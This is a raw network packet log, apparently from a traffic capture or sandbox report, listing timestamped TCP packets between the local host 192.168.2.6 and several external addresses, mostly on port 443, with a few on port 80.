Oct 29, 2024 15:27:43.760240078 CET	443	49937	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:43.760575056 CET	443	49938	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:43.760818005 CET	49938	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:43.760834932 CET	443	49938	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:43.761449099 CET	443	49937	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:43.761491060 CET	443	49936	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:43.761518955 CET	49937	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:43.761544943 CET	49936	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:43.762325048 CET	443	49938	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:43.762382984 CET	49938	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:43.763645887 CET	49937	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:43.763721943 CET	443	49937	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:43.764045954 CET	49937	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:43.764061928 CET	443	49937	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:43.764278889 CET	49936	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:43.764362097 CET	443	49936	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:43.764396906 CET	49936	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:43.764471054 CET	49938	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:43.764606953 CET	443	49938	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:43.764626980 CET	49938	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:43.807336092 CET	443	49938	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:43.807358027 CET	443	49936	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:43.826847076 CET	49937	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:43.843342066 CET	49946	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:43.843372107 CET	443	49946	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:43.843446970 CET	49946	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:43.843688011 CET	49946	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:43.843708992 CET	443	49946	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:43.861335993 CET	443	49932	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.861423969 CET	443	49932	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.861763000 CET	49932	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.862117052 CET	49932	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.862132072 CET	443	49932	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.863122940 CET	443	49931	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.863159895 CET	443	49931	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.863209009 CET	443	49931	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.863261938 CET	49931	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.864325047 CET	49931	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.864346027 CET	443	49931	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.864358902 CET	49931	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.864366055 CET	443	49931	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.870023966 CET	49947	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.870049953 CET	443	49947	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.870523930 CET	49947	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.871135950 CET	49947	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.871160984 CET	443	49947	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.871889114 CET	49948	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.871973991 CET	443	49948	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.872061014 CET	49948	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.872265100 CET	49948	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.872298002 CET	443	49948	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.879858017 CET	443	49942	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.882064104 CET	49942	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.882133007 CET	443	49942	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.882601976 CET	49942	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.882622004 CET	443	49942	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.887444019 CET	443	49934	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.888326883 CET	49934	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.888362885 CET	443	49934	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.888901949 CET	49934	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.888919115 CET	443	49934	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.896327972 CET	443	49938	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:43.896650076 CET	443	49935	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.896749020 CET	49938	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:43.897147894 CET	443	49936	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:43.897228956 CET	49936	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:43.899816036 CET	443	49937	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:43.900007010 CET	443	49937	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:43.900079966 CET	49937	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:43.905242920 CET	49937	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:43.905280113 CET	443	49937	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:43.905613899 CET	49936	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:43.905642986 CET	443	49936	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:43.905978918 CET	49938	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:43.905998945 CET	443	49938	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:43.908365011 CET	49935	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.908416986 CET	443	49935	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:43.908951998 CET	49935	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:43.908965111 CET	443	49935	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.014594078 CET	443	49942	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.014616013 CET	443	49942	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.014718056 CET	49942	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.014786005 CET	443	49942	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.015348911 CET	443	49942	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.015613079 CET	49942	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.016953945 CET	49942	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.016953945 CET	49942	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.016989946 CET	443	49942	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.017016888 CET	443	49942	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.021220922 CET	443	49934	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.021945953 CET	443	49934	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.022016048 CET	443	49934	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.022069931 CET	49934	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.024353027 CET	49934	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.024369001 CET	443	49934	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.024380922 CET	49934	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.024386883 CET	443	49934	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.024836063 CET	49949	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.024857044 CET	443	49949	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.024971962 CET	49949	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.027044058 CET	49949	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.027060986 CET	443	49949	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.030097008 CET	49950	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.030136108 CET	443	49950	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.030275106 CET	49950	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.030390978 CET	49950	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.030410051 CET	443	49950	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.042418957 CET	443	49935	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.042491913 CET	443	49935	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.042548895 CET	49935	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.043982983 CET	49935	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.043988943 CET	443	49935	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.044009924 CET	49935	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.044013977 CET	443	49935	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.048724890 CET	49951	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.048747063 CET	443	49951	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.048892975 CET	49951	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.049309015 CET	49951	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.049324989 CET	443	49951	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.144346952 CET	49944	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.146327972 CET	49952	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.146370888 CET	443	49952	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.146496058 CET	49952	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.146744013 CET	49945	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.147404909 CET	49922	443	192.168.2.6	18.244.18.38
Oct 29, 2024 15:27:44.147450924 CET	443	49922	18.244.18.38	192.168.2.6
Oct 29, 2024 15:27:44.147573948 CET	443	49922	18.244.18.38	192.168.2.6
Oct 29, 2024 15:27:44.147584915 CET	49922	443	192.168.2.6	18.244.18.38
Oct 29, 2024 15:27:44.147634029 CET	49922	443	192.168.2.6	18.244.18.38
Oct 29, 2024 15:27:44.148236990 CET	49953	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.148267031 CET	443	49953	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.148361921 CET	49953	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.148394108 CET	49946	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:44.148535967 CET	49954	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:44.148561954 CET	443	49954	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:44.148725033 CET	49952	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.148739100 CET	443	49952	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.148756981 CET	49954	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:44.149082899 CET	49953	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.149106026 CET	443	49953	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.149178028 CET	49954	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:44.149190903 CET	443	49954	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:44.191338062 CET	443	49945	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.191342115 CET	443	49946	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:44.191346884 CET	443	49944	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.219537020 CET	49955	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.219599962 CET	443	49955	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.219774961 CET	49955	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.219794035 CET	49956	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.219839096 CET	443	49956	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.220038891 CET	49955	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.220060110 CET	49956	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.220072031 CET	443	49955	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.220170021 CET	49956	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.220184088 CET	443	49956	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.355892897 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:44.357283115 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:44.359921932 CET	443	49944	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.360078096 CET	443	49944	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.360142946 CET	49944	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.360142946 CET	49944	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.363709927 CET	443	49945	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.363770008 CET	49945	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.446772099 CET	443	49946	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:44.446851969 CET	49946	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:44.451680899 CET	49957	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.451726913 CET	443	49957	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.451848984 CET	49957	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.452219963 CET	49958	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.452311993 CET	443	49958	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.452375889 CET	49957	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.452392101 CET	443	49957	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.452435017 CET	49958	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.452575922 CET	49958	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.452610970 CET	443	49958	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.493011951 CET	49959	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.493025064 CET	443	49959	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.493113041 CET	49959	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.493617058 CET	49959	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.493628025 CET	443	49959	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.566947937 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:44.572431087 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:44.611171007 CET	443	49947	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.611764908 CET	49947	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.611794949 CET	443	49947	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.612251043 CET	49947	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.612257004 CET	443	49947	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.624118090 CET	443	49948	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.624599934 CET	49948	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.624641895 CET	443	49948	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.625000954 CET	49948	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.625008106 CET	443	49948	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.668108940 CET	49960	443	192.168.2.6	23.221.22.173
Oct 29, 2024 15:27:44.668210983 CET	443	49960	23.221.22.173	192.168.2.6
Oct 29, 2024 15:27:44.668291092 CET	49960	443	192.168.2.6	23.221.22.173
Oct 29, 2024 15:27:44.668502092 CET	49961	443	192.168.2.6	23.221.22.173
Oct 29, 2024 15:27:44.668534994 CET	443	49961	23.221.22.173	192.168.2.6
Oct 29, 2024 15:27:44.668625116 CET	49961	443	192.168.2.6	23.221.22.173
Oct 29, 2024 15:27:44.670039892 CET	49960	443	192.168.2.6	23.221.22.173
Oct 29, 2024 15:27:44.670082092 CET	443	49960	23.221.22.173	192.168.2.6
Oct 29, 2024 15:27:44.670258999 CET	49961	443	192.168.2.6	23.221.22.173
Oct 29, 2024 15:27:44.670273066 CET	443	49961	23.221.22.173	192.168.2.6
Oct 29, 2024 15:27:44.671331882 CET	49962	443	192.168.2.6	152.195.19.97
Oct 29, 2024 15:27:44.671349049 CET	443	49962	152.195.19.97	192.168.2.6
Oct 29, 2024 15:27:44.671494007 CET	49962	443	192.168.2.6	152.195.19.97
Oct 29, 2024 15:27:44.671705008 CET	49962	443	192.168.2.6	152.195.19.97
Oct 29, 2024 15:27:44.671713114 CET	443	49962	152.195.19.97	192.168.2.6
Oct 29, 2024 15:27:44.682320118 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:44.682354927 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:44.682420015 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:44.682645082 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:44.682663918 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:44.682720900 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:44.683074951 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:44.683090925 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:44.683227062 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:44.683247089 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:44.745032072 CET	443	49947	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.745059013 CET	443	49947	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.745121002 CET	443	49947	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.745121002 CET	49947	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.745171070 CET	49947	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.745615959 CET	49947	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.745630980 CET	443	49947	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.745642900 CET	49947	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.745647907 CET	443	49947	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.749375105 CET	49965	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.749394894 CET	443	49965	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.749695063 CET	49965	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.752695084 CET	49965	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.752707958 CET	443	49965	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.757757902 CET	443	49948	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.757795095 CET	443	49948	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.757908106 CET	443	49948	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.757922888 CET	49948	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.757956982 CET	49948	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.758037090 CET	49948	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.758052111 CET	443	49948	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.758064032 CET	49948	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.758074999 CET	443	49948	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.759073019 CET	443	49954	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:44.759566069 CET	49954	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:44.759583950 CET	443	49954	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:44.759943962 CET	443	49954	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:44.761162043 CET	49966	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.761179924 CET	443	49966	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.761261940 CET	49966	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.763122082 CET	49954	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:44.763209105 CET	443	49954	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:44.763298988 CET	49966	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.763309956 CET	443	49966	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.763470888 CET	49954	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:44.765418053 CET	443	49949	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.765434027 CET	443	49950	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.765815973 CET	49949	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.765825033 CET	443	49949	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.765902042 CET	49950	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.765911102 CET	443	49950	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.766424894 CET	49949	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.766431093 CET	443	49949	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.766526937 CET	49950	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.766534090 CET	443	49950	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.767735958 CET	443	49953	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.768712044 CET	443	49952	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.768861055 CET	49953	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.768876076 CET	443	49953	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.768966913 CET	49952	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.768981934 CET	443	49952	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.769232988 CET	443	49953	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.769490957 CET	443	49952	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.770545959 CET	49953	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.770616055 CET	443	49953	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.770895958 CET	49952	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.770982981 CET	443	49952	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.771230936 CET	49953	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.771464109 CET	49952	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.773705959 CET	443	49951	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.774014950 CET	49951	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.774040937 CET	443	49951	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.774488926 CET	49951	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.774493933 CET	443	49951	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.811331987 CET	443	49954	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:44.815335989 CET	443	49953	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.819336891 CET	443	49952	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.837434053 CET	443	49956	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.843436003 CET	49956	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.843502998 CET	443	49956	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.845369101 CET	443	49956	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.845453978 CET	49956	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.846843004 CET	49956	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.847039938 CET	443	49956	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.854298115 CET	443	49955	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.854562998 CET	49955	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.854579926 CET	443	49955	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.854934931 CET	443	49955	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.855360985 CET	49955	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.855428934 CET	443	49955	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.895039082 CET	443	49954	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:44.895103931 CET	443	49954	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:44.895195961 CET	49954	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:44.895576000 CET	49954	443	192.168.2.6	162.159.61.3
Oct 29, 2024 15:27:44.895592928 CET	443	49954	162.159.61.3	192.168.2.6
Oct 29, 2024 15:27:44.897037029 CET	443	49950	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.897100925 CET	443	49950	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.897178888 CET	49950	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.897423983 CET	49950	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.897423983 CET	49950	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.897433043 CET	443	49950	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.897442102 CET	443	49950	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.898830891 CET	443	49949	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.898906946 CET	443	49949	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.899065018 CET	49949	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.899178028 CET	49949	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.899178028 CET	49949	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.899185896 CET	443	49949	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.899194002 CET	443	49949	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.901477098 CET	49967	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.901487112 CET	443	49967	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.901586056 CET	49967	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.902364016 CET	49967	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.902376890 CET	443	49967	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.904174089 CET	49968	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.904187918 CET	443	49968	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.904520035 CET	49968	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.904649973 CET	49968	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.904663086 CET	443	49968	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.909260035 CET	443	49951	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.909343004 CET	443	49951	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.909400940 CET	443	49953	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.909424067 CET	49951	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.909473896 CET	443	49953	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.909501076 CET	443	49952	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.909533024 CET	49953	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.909574986 CET	443	49952	172.64.41.3	192.168.2.6
Oct 29, 2024 15:27:44.909634113 CET	49952	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.909739971 CET	49953	443	192.168.2.6	172.64.41.3
Oct 29, 2024 15:27:44.909770966 CET	49951	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.909770966 CET	49951	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:44.909780025 CET	443	49951	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:44.909780979 CET	443	49953	172.64.41.3	192.168.2.6
